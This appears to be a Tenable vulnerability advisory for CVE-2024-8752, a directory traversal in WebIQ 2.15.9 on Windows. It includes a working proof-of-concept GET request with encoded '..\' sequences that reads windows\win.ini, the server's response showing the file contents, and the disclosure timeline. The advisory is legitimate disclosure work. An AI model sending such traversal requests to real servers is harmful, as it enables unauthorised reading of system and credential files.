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WebIQ 2.15.9 Runtime on Windows - Directory Traversal Vulnerability

High

Synopsis

The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.

Request:

GET /.webui/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini  HTTP/1.1
Host: 10.10.50.42:10123
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Cache-Control: max-age=0 

 Response:

HTTP/1.1 200 OK
Connection: close
Cache-Control: public, max-age=60
Content-Type: image/svg+xml
Date: Thu, 20 Jun 2024 21:30:21 GMT
Last-Modified: Fri, 10 Jul 2015 11:02:40 GMT
ETag: 1436526092
Content-Length: 92

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Solution

Contact vendor for fix.

Disclosure Timeline

6/24/2024 - Attempted to contact WebIQ using support email to obtain disclosure contact.
6/26/2024 - Attempted to contact WebIQ using support email to obtain disclosure contact.
8/26/2024 - Attempted to contact WebIQ by reaching out to company on LinkedIn.
9/4/2024 - Reached out on LinkedIn a final time.

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Risk Information

CVE ID: CVE-2024-8752
Tenable Advisory ID: TRA-2024-38
Credit:
Nick Miles
CVSSv3 Base / Temporal Score:
8.6/8.1
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Affected Products:
WebIQ 2.15.9 on Windows
Risk Factor:
High

Advisory Timeline

9/12/2024 - Published